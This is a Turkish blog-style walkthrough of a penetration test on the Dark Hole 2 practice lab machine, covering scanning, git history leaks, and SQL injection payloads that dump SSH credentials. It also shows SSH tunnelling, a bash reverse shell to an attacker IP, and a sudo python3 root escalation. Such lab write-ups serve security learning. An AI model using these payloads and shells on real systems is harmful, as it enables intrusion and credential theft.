Esenlikler,
Bugünkü yazımda, Dark Hole 2 makinesine yönelik gerçekleştirdiğim sızma testinin raporunu olabildiğince ayrıntılı bir şekilde aktarmaya çalışacağım. Umarım hem senin için hem de benim için faydalı bir içerik olur.
Makineyi indirmek için Dark Hole 2 bağlantısını kullanabilirsin. Ayrıca, bu makineyi tasarlayan Jehad Alqurashi'ye buradan teşekkürlerimi iletiyorum.
Keşif
Keşif aşamasında öncelikle hedef sistemin IP adresini tespit etmem gerekiyor. Bunun için bulunduğum ağ bloğuna ICMP isteği göndereceğim. Bu işlem için nmap veya netdiscover gibi araçları kullanabilirsin. Ben bu yazımda netdiscover aracını kullanacağım.
sudo netdiscover -r 172.16.13.0/24
Hedef cihazımın IP adresi 172.16.13.130.
Şimdi hedefimizin IP adresini tespit ettiğimize göre, sıradaki adım sistemin hangi hizmetleri sağladığını kontrol etmek. Bunun için nmap aracını kullanarak bir SYN taraması gerçekleştireceğim. Bu tarama, hedef sistemde hangi servislerin aktif olduğunu belirlememi sağlayacak. Ayrıca -A parametresini kullanarak işletim sistemi tespiti ve script taramalarını da gerçekleştireceğim.
nmap -sS -A 172.16.13.130 -p-
Hedef sistemde görebileceğin gibi bir Linux cihaz çalışıyor ve SSH ile HTTP servislerini sağlıyor. Burada -A parametresi sayesinde http-git scripti çalıştığında, hedef sistemin HTTP servisinin dosyalarının bulunduğu dizinde bir .git
dosyasının olduğunu ve son commit'in "I changed login.php file for more secure" olduğunu görebiliyorum. Bakalım ne kadar güvenli?
GIT
GIT'i kullanarak diğer logları okumak ve yapılan değişiklikleri analiz etmek istiyorum. Bu nedenle, hedef sistemdeki .git
dizinini kendi cihazıma kopyalıyorum.
wget 172.16.13.130/.git -r
Bu komut sayesinde bulunduğum dizinde, hedefimin IP adresi ile isimlendirilmiş bir klasör oluşuyor ve bu klasörün içerisinde .git dosyaları bulunuyor.
Bu dosyaya girip loglara baktığımda toplamda 3 adet commit bulunduğunu görüyorum.
Burada commit mesajlarını inceliyorum. Kullandığım mantık, kısaca güvenlik commit'i gelmeden hemen önceki bir commit'e bakmak. Bu sayede, güvenlik probleminin ne olduğunu anlayabilir ve buna göre bir işlem gerçekleştirebilirim.
git diff a4d9
Burada dikkatimi çeken ilginç bir bilgi var. Hedef sistemde dış ağa kapalı bir MySQL veritabanının çalışıyor olması ve kullanıcı adının root ve parolasının olmaması ve veritabanının isminin darkhole_2 olması.
İkinci noktada ise, bir dashboard sayfasına giriş için kullanılan bir kontrolde kullanıcının kullanıcı adı ve parola bilgilerinin doğrudan sayfa içindeki kodlarda belirtilmiş olması dikkatimi çekiyor.
Commit mesajlarını incelediğimde daha fazla yararlı bilgiye erişemiyorum. Ancak hala incelemem gereken bir web arayüzü olduğunu bildiğim için, bundan sonra doğrudan HTTP hizmetinde hedef sistemin bana ne sağladığını incelemek amacıyla web aşamasına geçiyorum.
WEB'de Gezinmek
Hedef sistemin sağladığı web hizmetinde aslında pek fazla işlem yok; şu anda yalnızca giriş yapabiliyorum. Bu noktada commit mesajlarını inceleyerek bulduğum kullanıcı adı ve parolayla giriş yapıyorum ve karşıma bir dashboard sayfası çıkıyor.
Burada ilk olarak bir submit işleminde giden request'i analiz ediyorum. Bu sayede, giden request'in içerisindeki değerleri de inceleyebileceğim.
Resimde tam olarak görünmeyebilir diye, değerleri senin için buraya yazayım. Değerler sırasıyla fullname, email, mobile ve address olarak geçiyor.
Ayrıca, ID'si 0 olan kişinin bilgilerini de kontrol edebiliyor muyum diye baktığımda, şu sonucu görüyorum:
Burada id'si 0 olan bir kullanıcı olmadığı için, doğal olarak sorgunun sonucu boş döndü ve bu nedenle front tarafında bu değerlere hiçbir değer atanamadı. Peki bu mantığı nasıl kullanmam gerekiyor?
Bu noktada SQL Injection denemeleri yapıyorum. Mantık olarak backend tarafında şu şekilde bir sorgu çalışıyor:
sql_command = "SELECT fullname, email, address, mobile FROM TABLO_ADI WHERE id=given_id"
curr.execute()
sql_response = curr.fetchone()
return sql_response
Eğer düşündüğüm bu mantık doğruysa, verdiğim 0 değerini manipüle ederek kendi sorgularımı çalıştırabilir ve hedef sistemle ilgili daha fazla bilgi edinebilirim.
SQL Injection
Öncelikle, id
değeri sonrası UNION
komutu ile iki sorguyu birleştirerek backend tarafında yapılan sorgudan kaç kolon döndüğünü öğrenmeye çalışıyorum.
0' UNION SELECT 1,2,3,4,5,6 -- -
Sorgu bu hale gelene kadar teker teker denedim, ancak hiçbir ifade sonuç vermedi çünkü tek tırnak (') karakterini unuttuğum için. Aman, buna dikkat et.
Bu sayede sorgum sonuç veriyor ve şu şekilde bir çıktı alıyorum:
Burada dikkatimi çeken 1 ve 4'ün dönmüyor olması. Tahminimce, veritabanına giden sorgu belirli kolonları almak yerine direkt olarak *
ile tüm kolonları alıyor. Bu da sana ek bir bilgi olsun.
İlk olarak veritabanı ile ilgili bilgi toplamaya çalışacağım ve buna versiyon bilgisi ile başlayacağım. Bu sebeple sorgum şu şekilde dönüşecek:
0' UNION SELECT 1,(SELECT VERSION()),3,4,5,6 -- -
Bu sayede hedef sistemde 8.0.41-0ubuntu0.20.04.1 MySQL versiyonunun çalıştığını öğrenmiş oldum. Bunun amacı, information_schema
'yı kullanıp kullanamayacağımı öğrenmektir.
Hedef sistemde hangi veritabanının çalıştığını biliyordum; ismi darkhole_2
'di. Bu bilgiyi ve information_schema
'yı kullanarak, kısaca şu sorgu sayesinde bulunan tabloları öğrenebilirim:
0' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema = 'darkhole_2' LIMIT 1),3,4,5,6 -- -
SSH isminde bir tablo bulunuyor. Bu, tahmin edebileceğin gibi SSH kullanıcı adı ve parolalarının bulunduğu bir tablo olmalı. Tablonun kolonlarını ise yine information_schema
'yı kullanarak elde edeceğim.
0' UNION SELECT 1,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'ssh' LIMIT 1 OFFSET 0),3,4,5,6 -- -
Bu komutla ilk kolonun id
olduğunu öğreniyorum. OFFSET'i bir artırarak sürekli bir şekilde tüm kolon isimlerini teker teker elde edebilirsin.
Bu sayede hedef sistemimizde user
ve ssh
kolonlarının bulunduğunu öğrendim. Şimdi sırada bu kolonlardan verileri teker teker almak kaldı. Bunun için şu sorguyu kullanabilirim:
0' UNION SELECT 1,(SELECT user FROM ssh LIMIT 1 OFFSET 0),(SELECT pass FROM ssh LIMIT 1 OFFSET 0),4,5,6 -- -
Bu sayede bir kullanıcının SSH kullanıcı adı ve parolasını öğrenmiş oldum. Bağlantı testi ile de bu işlemi doğruladım.
Hedef Sistemde Gezinmek
Hedef sistemde gezindiğimde, ilk olarak sistemdeki kullanıcıları ve bu kullanıcıların home klasörlerinde okuyabileceğim ya da çalıştırabileceğim dosyaları kontrol ediyorum. İncelediğim üç kullanıcının home klasörleri arasında yalnızca losy adlı kullanıcının home dizininde bir içerik buluyorum. Bu dizinde yalnızca user.txt
adlı bir dosya yer alıyor ve içinde şu satır bulunuyor:
DarkHoleThis_is_the_life_man_better_than_a_cruise
Bunun dışında herhangi bir içeriğe rastlamıyorum.
Bu noktada bakış açımı değiştirip "Bir backup dosyası var mı?" gibi soruları kendime sorarak bir şeyler yakalamaya çalışıyorum. Ardından kendime şu soruyu soruyorum: Bu sistem, az önce gördüğün gibi bir MySQL servisine bağlı olmalı. Bu noktada MySQL gibi servisleri kendi lokalinde çalıştırıyor olması gerekiyor.
Bunu şu şekilde test edebilirim; sonuçta jehad kullanıcısı olarak aslında makinenin içerisindeyim. Bunu jehad kullanıcısıyla test etmek için şu denemeyi yapıyorum.
Tabii, MySQL kullanıcı adı ve şifresini bilseydim bunu yapabilirdim. Ancak şu an böyle bir imkanım yok. Yine bakış açısını değiştirmem gerekiyor.
Sonunda aradığımı buldum: ".bash_history" dosyası. Bu dosyaya baktığımda, bir SSH yönlendirmesi yapıldığını ve crontab içeriğinin kontrol edildiğini gördüm. İncelemeye devam ettiğimde ise losy adlı bir kullanıcının, 9999 numaralı port üzerinden bir PHP dosyasını çalıştırdığını fark ettim.
Dosyanın yolunu zaten crontab çıktısından görebiliyorum. Dosyayı incelediğimde ise, cmd parametresine verilen komutların doğrudan losy kullanıcısı olarak çalıştırıldığını gördüm. Bu da, bir bash reverse shell üretecek komutu verdiğim takdirde, losy kullanıcısı olarak hedef sisteme bağlanabileceğim anlamına geliyor.
Ancak beni biraz düşündüren bir sorunla karşılaşıyorum. Hedef sistemdeki Apache2 ve MySQL hizmetlerinin yalnızca yerel (localhost) bağlantılara izin verecek şekilde yapılandırıldığını düşünüyorum. Bu nedenle, kendi ana makinemden hedef sistemin 9999 numaralı portundaki hizmetine erişemiyor ya da nmap taramasında bu porta dair bir yanıt alamıyorum.
Bu durumu çözebilmek için SSH tünelleme yöntemini kullanacağım. Kendi lokal makinemin 9999 portuna gönderilecek istekleri, SSH üzerinden hedef sistemin 9999 portuna yönlendireceğim. Bu sayede, kendi lokalimden çalışarak hedef sistemin sunduğu hizmete erişebilecek ve losy kullanıcısı olarak reverse shell bağlantısı kurmam mümkün olacak.
ssh -L 9999:127.0.0.1:9999 jehad@172.16.13.130
Tünelleme işlemini ayarladım, şimdi sırada kendi lokalimden hedef sisteme göndereceğim reverse shell'i ayarlamak var. Bunun için Google'da ufak bir arama yapmanız yeterli; aşağıda verdiğim koda rahatlıkla ulaşabilirsiniz. Ancak hatırlatmamda fayda var öncelikle bunu bir url encoder/decoder aracı ile decode etmen gerekiyor.
bash -c 'bash -i >& /dev/tcp/172.16.13.129/9001 0>&1'
Gördüğün gibi, bu şekilde losy kullanıcısı olarak hedef sisteme giriş yaptım.
Root Olmak
Hedef sistemde, jehad kullanıcısından çıkardığım yapıya benzer bir şekilde, burada da .bash_history dosyası içerisinde losy kullanıcısının kullanıcı adı ve parola bilgisini rahatlıkla görebiliyorum. Bunu bir checkpoint olarak değerlendiriyorum; zira hemen altında gördüğüm Python komutunda nasıl root olacağım zaten direkt olarak belirtilmiş. Ancak, prosedüre uymayı tercih ediyorum.
Losy kullanıcısının parolasını öğrendiğime göre, SSH ile bağlanıp daha interaktif bir terminal üzerinden işlemlerimi gerçekleştirebilirim.
Şimdi sırada root olmak var. Zaten .bash_history dosyasında Python ile bu işlemi gerçekleştirebileceğimi gördüm, ancak yine de kontrol ediyorum: losy kullanıcısı hangi komutları root yetkisiyle çalıştırabiliyor?
Python'u.
Python'u root yetkisiyle çağırarak yeni bir root terminali oluşturabilirim.
sudo python3 -c "import os; os.system('/bin/bash')"
Görebileceğin gibi root olmayı başardım.
Teşekkürler
Yazımı okuduğun için teşekkür ederim. Bir sonraki yazıda görüşmek üzere, esenlikler.